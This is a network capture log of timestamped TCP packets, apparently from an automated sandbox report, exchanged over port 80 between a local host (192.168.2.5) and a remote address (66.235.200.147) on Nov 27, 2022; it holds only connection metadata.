Nov 27, 2022 04:36:43.041340113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041351080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041352034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041369915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041378021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041388988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041393995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041407108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041409016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041424990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041435957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041444063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041451931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041462898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041479111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041496992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041508913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041517019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041549921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041551113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041569948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041572094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041588068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041601896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041608095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041616917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041627884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041632891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041647911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041656017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041666985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041673899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041687012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041691065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041706085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041711092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041727066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041728973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041744947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041749954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041764975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041769028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041785002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041789055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041804075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041807890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041821957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041825056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041837931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041846037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041863918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041872025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041887045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041906118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041924000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041939974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041940928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041954041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041960001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041985989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041989088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042004108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042006016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042026997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042032957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042047024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042052031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042064905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042068005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042083979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042093039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042104006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042108059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042121887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042129040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042141914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042145967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042160988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042161942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042181015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042181969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042201042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042210102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042221069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042223930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042239904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042243004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042260885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042262077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042279959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042280912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042298079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042299986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042319059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042327881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042336941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042340994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042356014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042363882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042376041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042387009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042395115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042404890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042414904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042423010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042434931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042453051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042454004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042468071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042474985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042479992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042494059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042498112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042512894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042521000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042532921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042540073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042551041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042557955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042570114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042574883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042589903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042602062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042609930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042617083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042629957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042630911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042649984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042656898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042669058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042670012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042687893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042690992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042711973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042718887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042742968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042754889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042762995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042768002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042783022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042783022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042800903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042809010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042818069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042823076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042850971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042855978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042884111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042897940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042897940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042905092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042923927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042943001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042943954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042962074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042970896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.042980909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042999029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.042999983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043016911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043024063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043036938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043051004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043056011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043075085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043081045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043092966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043111086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043112993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043129921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043131113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043148994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043162107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043168068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043188095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043189049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043201923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043206930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043219090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043226957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043239117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043246984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043255091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043267965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043272972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043287039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043289900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043306112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043318033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043325901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043332100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043345928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043345928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043363094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043369055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043386936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043395042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043406963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043410063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043425083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043426991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043443918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043447971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043461084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043463945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043483973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043487072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043502092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043504953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043520927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043521881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043539047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043543100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043564081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043567896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043581963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043582916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043597937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043605089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043622971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043631077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043642044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043643951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043659925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043664932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043679953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043684006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043698072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043699026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043718100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043724060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043735027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043735981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043751955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043755054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043775082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043777943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043792009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043797016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043811083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043811083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043829918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043833971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043847084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043853998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043872118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043880939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043890953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043895006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043910027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043910980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043929100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043929100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043946981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043950081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043966055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.043967962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043982983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.043998003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044015884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044048071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044101000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044118881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044135094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044147015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044154882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044162989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044173002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044177055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044190884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044203043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044208050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044217110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044225931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044233084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044244051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044250965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044261932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044267893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044279099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044284105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044306993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044311047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044325113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044327974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044344902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044347048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044363022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044365883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044382095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044385910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044400930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044401884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044418097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044430017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044437885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044445038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044456959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044456959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044475079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044476032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044492960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044495106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044512987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044513941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044532061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044539928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044549942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044553041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044568062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044569016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044586897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044591904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044616938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044624090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044641972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044644117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044661045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044666052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044678926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044683933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044698954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044701099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044718027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044727087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044735909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044739962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044754982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044760942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044774055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044775963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044792891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044802904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044811964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044815063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044833899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044836044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044862986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044862986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044881105 CET	49705	80	192.168.2.5	66.235.200.147
